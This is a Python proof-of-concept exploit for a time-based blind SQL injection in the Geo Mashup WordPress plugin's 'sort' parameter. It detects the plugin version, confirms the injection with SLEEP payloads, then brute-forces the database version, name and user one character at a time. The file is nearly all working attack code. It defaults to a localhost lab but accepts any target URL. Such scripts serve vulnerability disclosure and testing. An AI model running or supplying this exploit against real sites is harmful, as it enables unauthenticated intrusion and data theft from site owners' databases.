#!/usr/bin/env python3 """ CVE-2026-4060 - Geo Mashup <= 1.13.18 Unauthenticated Time-Based SQL Injection PoC Vulnerability: The `sort` parameter in render-map.php is not properly sanitized, allowing unauthenticated attackers to inject SQL via time-based blind technique. Affected endpoint: /?geo_mashup_content=render-map&map_content=global&sort= """ import argparse import time import urllib.parse import urllib.request SLEEP_SECONDS = 5 TIMEOUT = SLEEP_SECONDS + 5 # ASCII ordinals to brute-force (printable: 45='-', 46='.', 48-57=digits, 65-90=A-Z, 97-122=a-z) ORDINALS = [45, 46, 58, 64] + list(range(48, 58)) + list(range(65, 91)) + list(range(97, 123)) def request(url, timeout=10): try: req = urllib.request.Request( url, headers={"User-Agent": "Mozilla/5.0"}, ) start = time.time() with urllib.request.urlopen(req, timeout=timeout) as resp: body = resp.read().decode("utf-8", errors="ignore") elapsed = time.time() - start return body, elapsed except Exception as e: elapsed = time.time() - start if "start" in dir() else 0 return "", elapsed def check_plugin(base_url): url = base_url.rstrip("/") + "/wp-content/plugins/geo-mashup/readme.txt" body, _ = request(url) if "Geo Mashup" not in body: print("[-] Geo Mashup plugin not found. Is the lab running?") return False, None version = None for line in body.splitlines(): if line.strip().startswith("Stable tag:"): version = line.split(":", 1)[1].strip() break print(f"[+] Geo Mashup detected — version: {version}") return True, version def confirm_sqli(base_url): """Confirm time-based SQLi with SLEEP(SLEEP_SECONDS).""" payload = f"(SELECT(0)FROM(SELECT(SLEEP({SLEEP_SECONDS})))a)" encoded = urllib.parse.quote(payload) url = f"{base_url.rstrip('/')}/?geo_mashup_content=render-map&map_content=global&sort={encoded}" print(f"[*] Sending SLEEP({SLEEP_SECONDS}) payload...") body, elapsed = request(url, timeout=TIMEOUT) if elapsed >= SLEEP_SECONDS and "GeoMashup.createMap" in body: print(f"[+] SQLi confirmed! Response delayed {elapsed:.2f}s") return True else: print(f"[-] No delay detected ({elapsed:.2f}s). Injection may not be working.") return False def extract_char(base_url, query, position, verbose=False): """Check each ASCII ordinal at position using ORD() to avoid quote escaping.""" for ordinal in ORDINALS: payload = ( f"(SELECT(0)FROM(SELECT(IF(" f"ORD(SUBSTRING(({query}),{position},1))={ordinal}," f"SLEEP({SLEEP_SECONDS}),0" f")))a)" ) encoded = urllib.parse.quote(payload) url = f"{base_url.rstrip('/')}/?geo_mashup_content=render-map&map_content=global&sort={encoded}" if verbose: print(f" [payload] sort=...IF(ORD(SUBSTRING(({query}),{position},1))={ordinal}, SLEEP({SLEEP_SECONDS}), 0)...", end=" ", flush=True) _, elapsed = request(url, timeout=TIMEOUT) if elapsed >= SLEEP_SECONDS: if verbose: print(f"→ {elapsed:.2f}s ✓ '{chr(ordinal)}'") return chr(ordinal) else: if verbose: print(f"→ {elapsed:.2f}s") return None def extract_data(base_url, query, label, max_len=20, verbose=False): print(f"[*] Extracting {label} via time-based blind SQLi...") result = "" for i in range(1, max_len + 1): char = extract_char(base_url, query, i, verbose=verbose) if char is None: break result += char if not verbose: print(f" [{i}] {result}", end="\r") print(f"[+] {label}: {result} ") return result def main(): parser = argparse.ArgumentParser(description="CVE-2026-4060 PoC") parser.add_argument("--url", default="http://localhost:8080", help="Target WordPress base URL") parser.add_argument("--confirm-only", action="store_true", help="Only confirm SQLi, skip data extraction") parser.add_argument("--verbose", action="store_true", help="Show each SQL payload and response time") args = parser.parse_args() print("=" * 60) print("CVE-2026-4060 — Geo Mashup SQLi PoC") print(f"Target: {args.url}") print("=" * 60) found, version = check_plugin(args.url) if not found: return if not confirm_sqli(args.url): return if args.confirm_only: print("[*] --confirm-only flag set. Stopping here.") return # Extract interesting data extract_data(args.url, "VERSION()", "DB version", max_len=15, verbose=args.verbose) extract_data(args.url, "DATABASE()", "Current DB", max_len=20, verbose=args.verbose) extract_data(args.url, "USER()", "DB user", max_len=30, verbose=args.verbose) print("\n[+] Done.") if __name__ == "__main__": main()